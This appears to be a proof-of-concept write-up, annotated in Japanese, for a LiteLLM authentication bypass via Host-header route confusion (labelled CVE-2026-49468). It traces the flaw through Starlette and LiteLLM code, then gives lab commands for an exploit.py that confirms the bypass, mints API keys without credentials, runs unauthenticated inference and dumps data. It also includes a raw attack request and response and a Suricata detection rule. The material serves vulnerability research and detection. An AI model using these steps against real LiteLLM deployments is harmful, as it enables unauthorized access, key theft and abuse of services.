# starlette/datastructures.py  (URL.__init__ from scope)
url = f"{scheme}://{host_header}{path}"      # host_header = 攻撃者の Host
...
@property
def path(self): return urlsplit(self._url).path

実際のリクエストパス (scope、FastAPI はここでルーティング): /key/generate
Host ヘッダー                                    : evil/?
再構築された URL                               : http://evil/?/key/generate
urlsplit(...).path                              : /          <-- 認証はこれを参照

# user_api_key_auth.py — 認証ビルダー
if route in public_routes:                        # route == "/"
    return UserAPIKeyAuth(user_role=INTERNAL_USER_VIEW_ONLY)   # API キー不要

# user_api_key_auth.py — 認可ラッパー
if route in public_routes:                        # route == "/"
    return                                        # common_checks / 管理者ルートの強制をスキップ

# 1. 脆弱な + パッチ適用済みのラボを起動 (マスターキーを使用して認証有効)
cd lab && docker compose up -d && cd ..

# 2. バイパスを確認
python3 exploit.py -u http://127.0.0.1:4000 check
#   [*] GET /user/list  no-bypass Host  -> 401
#   [*] GET /user/list  Host: evil/?    -> 403
#   [+] VULNERABLE: authentication bypassed (baseline 401, bypass reached the handler: 403).

# 3. 資格情報なしで API キーを生成
python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo
#   [+] Minted virtual API key (unauthenticated): sk-....

# 4. 未認証推論 / 列挙
python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "hi"
python3 exploit.py -u http://127.0.0.1:4000 dump

# パッチ適用済みビルド (v1.84.0 on :4001) は同じリクエストを 401 で拒否
python3 exploit.py -u http://127.0.0.1:4001 check

POST /key/generate HTTP/1.1
Host: evil/?
Content-Type: application/json
Content-Length: 2

{}

HTTP/1.1 200 OK

{"key":"sk-...", ...}

alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass";
  flow:to_server,established; http.host; pcre:"/[\/?#]/";
  classtype:web-application-attack; sid:2026049468; rev:1;)